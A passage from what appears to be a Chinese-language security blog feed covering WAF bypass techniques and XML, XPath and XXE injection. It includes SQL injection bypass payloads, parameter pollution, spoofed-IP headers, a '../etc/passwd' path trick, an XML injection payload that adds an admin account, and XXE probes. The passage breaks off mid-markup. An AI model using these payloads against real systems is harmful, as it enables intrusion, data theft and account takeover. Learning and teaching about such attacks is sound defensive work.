=</strong></p><blockquote><p>like   rlike</p><p>where id rlike 1</p><p>where id like “admin”</p></blockquote><p><strong>union all select</strong></p><blockquote><p>select password from users where id rlike 1 union all select version();</p></blockquote><p><strong>注释符加换行绕过</strong></p><p><img lazyload src="/images/loading.svg" data-src="https://fc04db.oss-cn-hangzhou.aliyuncs.com/image/202406072010973.png" alt="image-20240607201043694"></p><blockquote><p>select #a database()</p><p>selelct %23%0a database()</p><p>(%23 表示注释  %0a 表示换行)</p></blockquote><p><strong>空字节</strong></p><p>有的过滤会碰到空字节会中止过滤</p><blockquote><p>?id=1 a%00nd 1=2……</p><p>?id=1 %00 and 1=2……</p></blockquote><p><strong>宽字节</strong></p><blockquote><p>union = uю%69яю这里把 i 不用宽字节 直接 url 编码 其他的字符都用对应的宽字节<br> select = こхlх%уt //t 不编码 其他的都宽字节 中间插上 %<br> from = цR%яэ // 宽字节 +%<br> 空格 =%20=%ва //в是 2 的款字符 а是 0 的宽字符<br>，= Ь //, 号的宽字节</p></blockquote><h3 id="http-参数污染"><a class="markdownIt-Anchor" href="#http-参数污染">#</a> http 参数污染</h3><p>利用参数污染来导致网站和安全狗接受数据的不一致性，实现绕过的操作。当 get 方式进行传参时，经过 &amp; 符号传入多个参数，WAF 可能只检测第一个参数的值，然后台却检测最后一个传入的值，此时能够绕过 WAF 的防护</p><p>下图即每种服务器获得到的参数</p><p><img lazyload src="/images/loading.svg" data-src="https://fc04db.oss-cn-hangzhou.aliyuncs.com/image/202406072026847.png" alt="image-20240607202628738"></p><p><code>?id=1/**&amp;id=-1' union select 1,database(),3 #*/ </code></p><p>安全狗收到的：  <code>1/**&amp;id=-1' union select 1,database(),3 #*/    </code></p><p>被注释，没法执行，安全狗会忽略</p><p>网站收到的：  <code>-1' union select 1,database(),3 #*/     </code></p><p>被带入执行</p><h3 id="构造畸形请求包"><a class="markdownIt-Anchor" href="#构造畸形请求包">#</a> <strong>构造畸形请求包</strong></h3><p>(1) 删掉 content-type</p><p>(2) 构造多个 filename</p><p>(3) content-type 后面加 TABLE 键</p><p>(4) 换行 boundary</p><p>(5) 文件名前面加空格</p><p>(6) 文件名前面加单引号</p><h3 id="白名单bypass"><a class="markdownIt-Anchor" href="#白名单bypass">#</a> 白名单 Bypass</h3><p>方式一：IP 白名单</p><p>从网络层获取的 ip，这种一般伪造不来，如果是应用层的获取的 IP，这样就可能存在伪造白名单 IP 造成 bypass。</p><p>测试方法：修改 http 的 header 来 bypass WAF</p><div class="highlight-container" data-rel="Plaintext"><figure class="iseeu highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line">X-forwarded-for</span><br><span class="line">X-remote-IP</span><br><span class="line">X-originating-IP</span><br><span class="line">x-remote-addr</span><br><span class="line">X-Real-ip</span><br></pre></td></tr></table></figure></div><p>方式二：静态资源</p><p>特定的静态资源后缀请求，常见的静态文件 (.js .jpg .swf .css 等等)，类似白名单机制，WAF 为了检测效率，不去检测这样一些静态文件名后缀的请求。</p><div class="highlight-container" data-rel="Plaintext"><figure class="iseeu highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">http://10.9.9.201/sql.php/1.js?id=1</span><br><span class="line"># Aspx/php只识别到前面的.aspx/.php 后面基本不识别</span><br></pre></td></tr></table></figure></div><p>方式三：url 白名单</p><p>为了防止误拦，部分 WAF 内置默认的白名单列表，如 admin/manager/system 等管理后台。只要 url 中存在白名单的字符串，就作为白名单不进行检测。常见的 url 构造姿势：</p><div class="highlight-container" data-rel="Plaintext"><figure class="iseeu highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line">http://10.9.9.201/sql.php/admin.php?id=1</span><br><span class="line">http://10.9.9.201/sql.php?a=/manage/&amp;b=../etc/passwd</span><br><span class="line">http://10.9.9.201/../../../manage/../sql.asp?id=2</span><br></pre></td></tr></table></figure></div><p>WAF 通过 /manage/&quot; 进行比较，只要 uri 中存在 /manage/ 就作为白名单不进行检测，这样我们可以通过 /sql.php?a=/manage/&amp;b=…/etc/passwd 绕过防御规则。</p><p>方式四：爬虫白名单</p><p>部分 WAF 有提供爬虫白名单的功能，识别爬虫的技术一般有两种：</p><p>1、 根据 UserAgent 2、通过行为来判断</p><p>UserAgent 可以很容易欺骗，我们可以伪装成爬虫尝试绕过。</p>]]></content>
    
    
      
      
    <summary type="html">&lt;h1 id=&quot;waf&quot;&gt;&lt;a class=&quot;markdownIt-Anchor&quot; href=&quot;#waf&quot;&gt;#&lt;/a&gt; WAF&lt;/h1&gt;
&lt;p&gt;&lt;code&gt;WAF&lt;/code&gt; （ &lt;code&gt;Web Application Firewall&lt;/code&gt; ，网页应用防火墙）是一</summary>
      
    
    
    
    <category term="Web Base" scheme="http://example.com/categories/Web-Base/"/>
    
    
  </entry>
  
  <entry>
    <title>about XML</title>
    <link href="http://example.com/2024/05/29/about-XML/"/>
    <id>http://example.com/2024/05/29/about-XML/</id>
    <published>2024-05-29T04:24:33.000Z</published>
    <updated>2024-08-28T06:47:42.831Z</updated>
    
    <content type="html"><![CDATA[<h2 id="xml"><a class="markdownIt-Anchor" href="#xml">#</a> XML</h2><p>XML 指可扩展标记语言（EXtensible Markup Language）。<br>XML 的设计宗旨是<strong>传输数据</strong>，而不是显示数据。<br>XML 是 W3C 的推荐标准。<br>XML 不会做任何事情。XML 被设计用来<strong>结构化、存储以及传输信息</strong>。<br>XML 语言没有预定义的标签。</p><p>XML 和 HTML 之间的差异：</p><p>1、XML 不是 HTML 的替代。<br>2、XML 和 HTML 为不同的目的而设计：</p><blockquote><p>XML 被设计用来传输和存储数据，其焦点是数据的内容。<br>HTML 被设计用来显示数据，其焦点是数据的外观。<br><strong>HTML 旨在显示信息，而 XML 旨在传输信息。</strong></p></blockquote><h3 id="基本格式-语法"><a class="markdownIt-Anchor" href="#基本格式-语法">#</a> 基本格式、语法</h3><div class="highlight-container" data-rel="Xml"><figure class="iseeu highlight xml"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">&lt;?xml version=<span class="string">&quot;1.0&quot;</span> encoding=<span class="string">&quot;UTF-8&quot;</span> standalone=<span class="string">&quot;yes&quot;</span>?&gt;</span><span class="comment">&lt;!--xml文件的声明--&gt;</span></span><br><span class="line"><span class="tag">&lt;<span class="name">bookstore</span>&gt;</span>                                                 <span class="comment">&lt;!--根元素--&gt;</span></span><br><span class="line"><span class="tag">&lt;<span class="name">book</span> <span class="attr">category</span>=<span class="string">&quot;COOKING&quot;</span>&gt;</span>        <span class="comment">&lt;!--bookstore的子元素，category为属性--&gt;</span></span><br><span class="line"><span class="tag">&lt;<span class="name">title</span>&gt;</span>Everyday Italian<span class="tag">&lt;/<span class="name">title</span>&gt;</span>           <span class="comment">&lt;!--book的子元素，lang为属性--&gt;</span></span><br><span class="line"><span class="tag">&lt;<span class="name">author</span>&gt;</span>Giada De Laurentiis<span class="tag">&lt;/<span class="name">author</span>&gt;</span>                  <span class="comment">&lt;!--book的子元素--&gt;</span></span><br><span class="line"><span class="tag">&lt;<span class="name">year</span>&gt;</span>2005<span class="tag">&lt;/<span class="name">year</span>&gt;</span>                                     <span class="comment">&lt;!--book的子元素--&gt;</span></span><br><span class="line"><span class="tag">&lt;<span class="name">price</span>&gt;</span>30.00<span class="tag">&lt;/<span class="name">price</span>&gt;</span>                                  <span class="comment">&lt;!--book的子元素--&gt;</span></span><br><span class="line"><span class="tag">&lt;/<span class="name">book</span>&gt;</span>                                                 <span class="comment">&lt;!--book的结束--&gt;</span></span><br><span class="line"><span class="tag">&lt;/<span class="name">bookstore</span>&gt;</span>                                       <span class="comment">&lt;!--bookstore的结束--&gt;</span></span><br></pre></td></tr></table></figure></div><p><code>&lt;?xml version=&quot;1.0&quot; encoding=&quot;UTF-8&quot; standalone=&quot;yes&quot;?&gt;</code>  称为 XML prolog ，用于声明 XML 文档的版本和编码，是可选的，必须放在文档开头。<br>standalone 值是 yes 的时候表示 DTD 仅用于验证文档结构，从而外部实体将被禁用，但它的默认值是 no，而且有些 parser 会直接忽略这一项。</p><p><em>基本语法：</em></p><ul><li>所有 XML 元素都须有关闭标签。</li><li>XML 标签对大小写敏感。</li><li>XML 必须正确地嵌套。</li><li>XML 文档必须有根元素。</li><li>XML 的属性值须加引号。</li></ul><h2 id="dtd"><a class="markdownIt-Anchor" href="#dtd">#</a> DTD</h2><p><strong>DTD 基本概念</strong><br> XML 文档有自己的一个格式规范，这个格式规范是由一个叫做  <code>DTD（document type definition）</code>  的东西控制的。<br>DTD 用来为 XML 文档定义语义约束。可以嵌入在 XML 文档中 (内部声明)，也可以独立的放在另外一个单独的文件中 (外部引用)。是 XML 文档中的几条语句，用来<strong>说明哪些元素 / 属性是合法的以及元素间应当怎样嵌套 / 结合</strong>，也用来将一些特殊字符和可复用代码段自定义为实体。<br><strong>实体引用</strong><br> XML 元素以形如  <code>&lt;tag&gt;foo&lt;/tag&gt;</code>  的标签开始和结束，如果元素内部出现如 <code>&lt;</code>  的特殊字符，解析就会失败，为了避免这种情况，XML 用实体引用（entity reference）替换特殊字符。XML 预定义五个实体引用，即用 <code>&amp;lt;&amp;gt;&amp;amp;&amp;apos;&amp;quot</code>  替换  <code>&lt; &gt; &amp; ' &quot;</code>  。</p><p><img lazyload src="/images/loading.svg" data-src="https://fc04db.oss-cn-hangzhou.aliyuncs.com/image/202405291625057.png" alt="image-20240529162528891"></p><p>实体引用可以起到类似宏定义和文件包含的效果，为了方便，我们会希望自定义实体引用，这个操作在称为  <code>Document Type Defination（DTD</code> ，文档类型定义）的过程中进行。<br><strong>dtd 的引入方式</strong><br> DTD（文档类型定义）的作用是定义 XML 文档的合法构建模块。DTD 可以在 XML 文档内声明，也可以外部引用。<br><em>内部 DTD</em><br> 使用内部的 dtd 文件，即将约束规则定义在 xml 文档中</p><div class="highlight-container" data-rel="Xml"><figure class="iseeu highlight xml"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">&lt;!DOCTYPE 根元素名称 [元素声明]&gt;</span></span><br></pre></td></tr></table></figure></div><p>示例代码：</p><div class="highlight-container" data-rel="Xml"><figure class="iseeu highlight xml"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">&lt;?xml version=<span class="string">&quot;1.0&quot;</span>?&gt;</span></span><br><span class="line"><span class="meta">&lt;!DOCTYPE <span class="keyword">note</span> [&lt;!--定义此文档是 note 类型的文档--&gt;</span></span><br><span class="line"><span class="meta"><span class="meta">&lt;!ELEMENT <span class="keyword">note</span> (<span class="keyword">to</span>,<span class="keyword">from</span>,<span class="keyword">heading</span>,<span class="keyword">body</span>)&gt;</span>&lt;!--定义note元素有四个元素--&gt;</span></span><br><span class="line"><span class="meta"><span class="meta">&lt;!ELEMENT <span class="keyword">to</span> (<span class="keyword">#PCDATA</span>)&gt;</span>&lt;!--定义to元素为”#PCDATA”类型--&gt;</span></span><br><span class="line"><span class="meta"><span class="meta">&lt;!ELEMENT <span class="keyword">from</span> (<span class="keyword">#PCDATA</span>)&gt;</span>&lt;!--定义from元素为”#PCDATA”类型--&gt;</span></span><br><span class="line"><span class="meta"><span class="meta">&lt;!ELEMENT <span class="keyword">head</span> (<span class="keyword">#PCDATA</span>)&gt;</span>&lt;!--定义head元素为”#PCDATA”类型--&gt;</span></span><br><span class="line"><span class="meta"><span class="meta">&lt;!ELEMENT <span class="keyword">body</span> (<span class="keyword">#PCDATA</span>)&gt;</span>&lt;!--定义body元素为”#PCDATA”类型--&gt;</span></span><br><span class="line"><span class="meta">]&gt;</span></span><br><span class="line"><span class="tag">&lt;<span class="name">note</span>&gt;</span></span><br><span class="line"><span class="tag">&lt;<span class="name">to</span>&gt;</span>Y0u<span class="tag">&lt;/<span class="name">to</span>&gt;</span></span><br><span class="line"><span class="tag">&lt;<span class="name">from</span>&gt;</span>@re<span class="tag">&lt;/<span class="name">from</span>&gt;</span></span><br><span class="line"><span class="tag">&lt;<span class="name">head</span>&gt;</span>v3ry<span class="tag">&lt;/<span class="name">head</span>&gt;</span></span><br><span class="line"><span class="tag">&lt;<span class="name">body</span>&gt;</span>g00d!<span class="tag">&lt;/<span class="name">body</span>&gt;</span></span><br><span class="line"><span class="tag">&lt;/<span class="name">note</span>&gt;</span></span><br></pre></td></tr></table></figure></div><p><em>外部 DTD</em><br>（1）引入外部的 dtd 文件</p><div class="highlight-container" data-rel="Xml"><figure class="iseeu highlight xml"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">&lt;!DOCTYPE 根元素名称 <span class="keyword">SYSTEM</span> <span class="string">&quot;dtd路径&quot;</span>&gt;</span></span><br></pre></td></tr></table></figure></div><p>（2）使用外部的 dtd 文件 (网络上的 dtd 文件)</p><div class="highlight-container" data-rel="Xml"><figure class="iseeu highlight xml"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">&lt;!DOCTYPE 根元素 <span class="keyword">PUBLIC</span> <span class="string">&quot;DTD名称&quot;</span> <span class="string">&quot;DTD文档的URL&quot;</span>&gt;</span></span><br></pre></td></tr></table></figure></div><p>当使用外部 DTD 时，通过如下语法引入：</p><div class="highlight-container" data-rel="Xml"><figure class="iseeu highlight xml"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">&lt;!DOCTYPE <span class="keyword">root-element</span> <span class="keyword">SYSTEM</span> <span class="string">&quot;filename&quot;</span>&gt;</span></span><br></pre></td></tr></table></figure></div><p>示例代码：</p><div class="highlight-container" data-rel="Xml"><figure class="iseeu highlight xml"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">&lt;?xml version=<span class="string">&quot;1.0&quot;</span> encoding=<span class="string">&quot;UTF-8&quot;</span>?&gt;</span></span><br><span class="line"><span class="meta">&lt;!DOCTYPE <span class="keyword">root-element</span> <span class="keyword">SYSTEM</span> <span class="string">&quot;test.dtd&quot;</span>&gt;</span></span><br><span class="line"><span class="tag">&lt;<span class="name">note</span>&gt;</span></span><br><span class="line"><span class="tag">&lt;<span class="name">to</span>&gt;</span>Y0u<span class="tag">&lt;/<span class="name">to</span>&gt;</span></span><br><span class="line"><span class="tag">&lt;<span class="name">from</span>&gt;</span>@re<span class="tag">&lt;/<span class="name">from</span>&gt;</span></span><br><span class="line"><span class="tag">&lt;<span class="name">head</span>&gt;</span>v3ry<span class="tag">&lt;/<span class="name">head</span>&gt;</span></span><br><span class="line"><span class="tag">&lt;<span class="name">body</span>&gt;</span>g00d!<span class="tag">&lt;/<span class="name">body</span>&gt;</span></span><br><span class="line"><span class="tag">&lt;/<span class="name">note</span>&gt;</span></span><br></pre></td></tr></table></figure></div><p>test.dtd</p><div class="highlight-container" data-rel="Xml"><figure class="iseeu highlight xml"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">&lt;!ELEMENT <span class="keyword">to</span> (<span class="keyword">#PCDATA</span>)&gt;</span><span class="comment">&lt;!--定义to元素为”#PCDATA”类型--&gt;</span></span><br><span class="line"><span class="meta">&lt;!ELEMENT <span class="keyword">from</span> (<span class="keyword">#PCDATA</span>)&gt;</span><span class="comment">&lt;!--定义from元素为”#PCDATA”类型--&gt;</span></span><br><span class="line"><span class="meta">&lt;!ELEMENT <span class="keyword">head</span> (<span class="keyword">#PCDATA</span>)&gt;</span><span class="comment">&lt;!--定义head元素为”#PCDATA”类型--&gt;</span></span><br><span class="line"><span class="meta">&lt;!ELEMENT <span class="keyword">body</span> (<span class="keyword">#PCDATA</span>)&gt;</span><span class="comment">&lt;!--定义body元素为”#PCDATA”类型--&gt;</span></span><br></pre></td></tr></table></figure></div><p><strong>PCDATA</strong><br>PCDATA 的意思是被解析的字符数据。PCDATA 是会被解析器解析的文本。这些文本将被解析器检查实体以及标记。文本中的标签会被当作标记来处理，而实体会被展开。<br><strong>CDATA</strong><br>CDATA 意思是字符数据，CDATA 是不会被解析器解析的文本，在这些文本中的标签不会被当作标记来对待，其中的实体也不会被展开。</p><p><strong>元素</strong></p><div class="highlight-container" data-rel="Plaintext"><figure class="iseeu highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line">&lt;!ELEMENT element-name category&gt;</span><br><span class="line">或</span><br><span class="line">&lt;!ELEMENT element-name (element-content)&gt;</span><br></pre></td></tr></table></figure></div><p>例如：</p><div class="highlight-container" data-rel="Xml"><figure class="iseeu highlight xml"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">&lt;!ELEMENT 家庭(人+,家电*)&gt;</span></span><br></pre></td></tr></table></figure></div><p>这个 DTD 规定了家庭元素中可以有 1 到多个” 人” 这个子元素，也可以有 0 到多个” 家电” 这个子元素。其中的加号”+” 和星号”*” 的含义与正则表达式中的含义一致。</p><p><img lazyload src="/images/loading.svg" data-src="https://fc04db.oss-cn-hangzhou.aliyuncs.com/image/202405291637640.png" alt="image-20240529163707592"></p><p>类似于正则表达式</p><p><strong>属性</strong></p><p><strong>属性声明语法</strong>：</p><div class="highlight-container" data-rel="Plaintext"><figure class="iseeu highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">&lt;!ATTLIST 元素名称 属性名称 属性类型 默认值&gt;</span><br></pre></td></tr></table></figure></div><p>DTD 实例：</p><div class="highlight-container" data-rel="Plaintext"><figure class="iseeu highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">&lt;!ATTLIST payment Luckey CDATA &quot;Q&quot;&gt;</span><br></pre></td></tr></table></figure></div><p>XML 实例：</p><div class="highlight-container" data-rel="Plaintext"><figure class="iseeu highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">&lt;payment Luckey=&quot;Q&quot; /&gt;</span><br></pre></td></tr></table></figure></div><p><img lazyload src="/images/loading.svg" data-src="https://fc04db.oss-cn-hangzhou.aliyuncs.com/image/202405291638220.png" alt="image-20240529163855082"></p><p>默认<strong>属性值</strong>可使用下列值 :</p><p><img lazyload src="/images/loading.svg" data-src="https://fc04db.oss-cn-hangzhou.aliyuncs.com/image/202405291639746.png" alt="image-20240529163957712"></p><p><strong>默认属性值</strong></p><div class="highlight-container" data-rel="Xml"><figure class="iseeu highlight xml"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br></pre></td><td class="code"><pre><span class="line">DTD:</span><br><span class="line"><span class="meta">&lt;!ELEMENT <span class="keyword">square</span> <span class="keyword">EMPTY</span>&gt;</span></span><br><span class="line"><span class="meta">&lt;!ATTLIST <span class="keyword">square</span> <span class="keyword">width</span> <span class="keyword">CDATA</span> <span class="string">&quot;0&quot;</span>&gt;</span></span><br><span class="line"></span><br><span class="line">合法的 XML:</span><br><span class="line"><span class="tag">&lt;<span class="name">square</span> <span class="attr">width</span>=<span class="string">&quot;100&quot;</span> /&gt;</span></span><br></pre></td></tr></table></figure></div><p>在上面的例子中，“square” 被定义为带有 CDATA 类型的 “width” 属性的空元素。如果宽度没有被设定，其默认值为 0</p><h1 id="xml注入"><a class="markdownIt-Anchor" href="#xml注入">#</a> XML 注入</h1><p>XML 是一种数据组织存储的数据结构方式，安全的 XML 在用户输入生成新的数据时候应该只能允许用户接受的数据，需要过滤掉一些可以改变 XML 标签也就是说改变 XML 结构插入新功能（例如新的账户信息，等于添加了账户）的特殊输入，如果没有过滤，则可以导致 XML 注入攻击。</p><p>注入实例：</p><div class="highlight-container" data-rel="Xml"><figure class="iseeu highlight xml"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">&lt;?xml version=<span class="string">&quot;1.0&quot;</span> encoding=<span class="string">&quot;utf-8&quot;</span>?&gt;</span></span><br><span class="line"><span class="tag">&lt;<span class="name">manager</span>&gt;</span></span><br><span class="line">    <span class="tag">&lt;<span class="name">admin</span> <span class="attr">id</span>=<span class="string">&quot;1&quot;</span>&gt;</span></span><br><span class="line">    <span class="tag">&lt;<span class="name">username</span>&gt;</span>admin<span class="tag">&lt;/<span class="name">username</span>&gt;</span></span><br><span class="line">    <span class="tag">&lt;<span class="name">password</span>&gt;</span>admin<span class="tag">&lt;/<span class="name">password</span>&gt;</span></span><br><span class="line"></span><br><span class="line">    <span class="tag">&lt;/<span class="name">admin</span>&gt;</span></span><br><span class="line">    <span class="tag">&lt;<span class="name">admin</span> <span class="attr">id</span>=<span class="string">&quot;2&quot;</span>&gt;</span></span><br><span class="line">    <span class="tag">&lt;<span class="name">username</span>&gt;</span>root<span class="tag">&lt;/<span class="name">username</span>&gt;</span></span><br><span class="line">    <span class="tag">&lt;<span class="name">password</span>&gt;</span>root<span class="tag">&lt;/<span class="name">password</span>&gt;</span></span><br><span class="line">    <span class="tag">&lt;/<span class="name">admin</span>&gt;</span></span><br><span class="line"><span class="tag">&lt;/<span class="name">manager</span>&gt;</span></span><br></pre></td></tr></table></figure></div><p>XML 与 HTML 一样，也存在注入攻击，在注入的方法上也非常相似。<br>对于上面的 xml 文件，如果攻击者能够掌控 password 字段，那么就会产生 XML 注入。如攻击者输入：</p><div class="highlight-container" data-rel="Plaintext"><figure class="iseeu highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">admin &lt;/password&gt;&lt;/admin&gt;&lt;admin id=&quot;3&quot;&gt;&lt;name&gt;hack&lt;/name&gt;&lt;password&gt;hacker&lt;/password&gt;&lt;/admin&gt;</span><br></pre></td></tr></table></figure></div><p>最终修改结果为：</p><div class="highlight-container" data-rel="Xml"><figure class="iseeu highlight xml"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">&lt;?xml version=<span class="string">&quot;1.0&quot;</span> encoding=<span class="string">&quot;utf-8&quot;</span>?&gt;</span></span><br><span class="line"><span class="tag">&lt;<span class="name">manager</span>&gt;</span></span><br><span class="line">    <span class="tag">&lt;<span class="name">admin</span> <span class="attr">id</span>=<span class="string">&quot;1&quot;</span>&gt;</span></span><br><span class="line">    <span class="tag">&lt;<span class="name">name</span>&gt;</span>admin<span class="tag">&lt;/<span class="name">name</span>&gt;</span></span><br><span class="line">    <span class="tag">&lt;<span class="name">password</span>&gt;</span>admin<span class="tag">&lt;/<span class="name">password</span>&gt;</span></span><br><span class="line">    <span class="tag">&lt;/<span class="name">admin</span>&gt;</span></span><br><span class="line">    <span class="tag">&lt;<span class="name">admin</span> <span class="attr">id</span>=<span class="string">&quot;2&quot;</span>&gt;</span></span><br><span class="line">    <span class="tag">&lt;<span class="name">username</span>&gt;</span>root<span class="tag">&lt;/<span class="name">username</span>&gt;</span></span><br><span class="line">    <span class="tag">&lt;<span class="name">password</span>&gt;</span>root<span class="tag">&lt;/<span class="name">password</span>&gt;</span></span><br><span class="line">    <span class="tag">&lt;/<span class="name">admin</span>&gt;</span></span><br><span class="line">    <span class="tag">&lt;<span class="name">admin</span> <span class="attr">id</span>=<span class="string">&quot;3&quot;</span>&gt;</span></span><br><span class="line">    <span class="tag">&lt;<span class="name">name</span>&gt;</span>hack<span class="tag">&lt;/<span class="name">name</span>&gt;</span></span><br><span class="line">    <span class="tag">&lt;<span class="name">password</span>&gt;</span>hacker<span class="tag">&lt;/<span class="name">password</span>&gt;</span></span><br><span class="line">    <span class="tag">&lt;/<span class="name">admin</span>&gt;</span></span><br><span class="line"><span class="tag">&lt;/<span class="name">manager</span>&gt;</span></span><br></pre></td></tr></table></figure></div><p>这样就通过 XML 注入添加了一个名为 hack、密码为：hacker 的管理员账户。<br>XML 注入两大要素：<strong>标签闭合和获取 XML 表结构</strong></p><h1 id="xpath注入"><a class="markdownIt-Anchor" href="#xpath注入">#</a> XPath 注入</h1><p>XPath 是一门在 XML 文档中查找信息的语言。XPath 用于在 XML 文档中，通过元素和属性进行导航。类似 jquery 选择器的选择路径。</p><p>XPath 注入攻击是指利用 XPath 解析器的松散输入和容错特性，能够在 URL、表单或其它信息上附带恶意的 XPath 查询代码，以获得权限信息的访问权并更改这些信息。XPath 注入攻击是针对 Web 服务应用新的攻击方法，它允许攻击者在事先不知道 XPath 查询相关知识的情况下，通过 XPath 查询得到一个 XML 文档的完整内容。</p><p>XPath 注入发生在当站点使用用户输入的信息来构造请求以获取 XML 数据。攻击者对站点发送经过特殊构造的信息来探究站点使用的 XML 是如何构造的，从而进一步获取正常途径下无法获取的数据。当 XML 数据被用作账户验证时，攻击者还可以提升他的权限。</p><p>XPath 注入攻击利用两种技术，即<strong> XPath 扫描</strong>和 <strong>XPath 查询布尔化</strong>。通过该攻击，攻击者可以控制用来进行 XPath 查询的 XML 数据库。这种攻击可以有效地对付使用 XPath 查询（和 XML 数据库） 来执行身份验证、查找或者其它操作。</p><p>XPath 注入攻击同 SQL 注入攻击类似，但与 SQL 注入相比，XPath 具有的优势：</p><ol><li>广泛性<br>只要是利用 XPath 语法的 Web 应用程序若未对输入的 XPath 查询做严格的处理都会存在 XPath 注入漏洞。而在 SQL 注入攻击过程中根据数据库支持的 SQL 语言不同，注入攻击的实现可能不同。</li><li>危害性大<br> XPath 语言几乎可以没有访问控制限制的引用 XML 文档的所有部分。而在 SQL 注入中，一个 “ <code>用户</code> ” 的权限可能被限制到 某一特定的表、列或者查询。<br>XPath 注入攻击可以保证得到完整的 XML 文档，即完整的数据库。只要 Web 服务应用具有基本的安全漏洞，即可构造针对 XPath 应用的自动攻击。</li></ol><p><a class="link" href="https://www.cnblogs.com/backlion/p/8554749.html">xpath 注入详解 <i class="fa-regular fa-arrow-up-right-from-square fa-sm"></i></a></p><h1 id="xxe"><a class="markdownIt-Anchor" href="#xxe">#</a> XXE</h1><p><code>XXE(XML External Entity Injection)</code>  全称为 XML 外部实体注入，由于程序在解析输入的 XML 数据时，解析了攻击者伪造的外部实体而产生的。例如 PHP 中的 <code>simplexml_load</code>  默认情况下会解析外部实体，有 XXE 漏洞的标志性函数为 <code>simplexml_load_string()</code> ，它允许攻击者干扰应用程序对 XML 数据的处理。它通常允许攻击者查看应用程序服务器文件系统上的文件，并与应用程序本身可以访问的任何后端或外部系统进行交互。</p><p><strong>XXE 的特征</strong></p><p>特征 1 —  <code>.ashx</code> ，url 是，ashx 后缀</p><p>特征 2 — 响应体是 xml</p><p><strong>XXE 的检测</strong></p><p>首先检测 XML 是否会被成功解析</p><div class="highlight-container" data-rel="Xml"><figure class="iseeu highlight xml"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">&lt;?xml version=<span class="string">&quot;1.0&quot;</span> encoding=<span class="string">&quot;UTF-8&quot;</span>?&gt;</span> <span class="meta">&lt;!DOCTYPE <span class="keyword">ANY</span> [ <span class="meta">&lt;!ENTITY <span class="keyword">words</span> <span class="string">&quot;Hello XXE !&quot;</span>&gt;</span>]&gt;</span><span class="tag">&lt;<span class="name">root</span>&gt;</span><span class="symbol">&amp;words;</span><span class="tag">&lt;/<span class="name">root</span>&gt;</span></span><br></pre></td></tr></table></figure></div><p>看相应包或页面是否有 <code>Hellp XXE</code></p><p>接下来检测该端点是否支持 DTD 引用外部实体：</p><div class="highlight-container" data-rel="Xml"><figure class="iseeu highlight xml"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">&lt;?xml version=”1.0” encoding=”UTF-8”?&gt;</span><span class="meta">&lt;!DOCTYPE <span class="keyword">ANY</span> [<span class="meta">&lt;!ENTITY % <span class="keyword">name</span> <span class="keyword">SYSTEM</span> <span class="string">&quot;http://localhost/tp5/test.xml&quot;</span>&gt;</span>%name;]&gt;</span></span><br></pre></td></tr></table></figure></div><h2 id="文件读取"><a class="markdownIt-Anchor" href="#文件读取">#</a> 文件读取</h2><div class="highlight-container" data-rel="Xml"><figure class="iseeu highlight 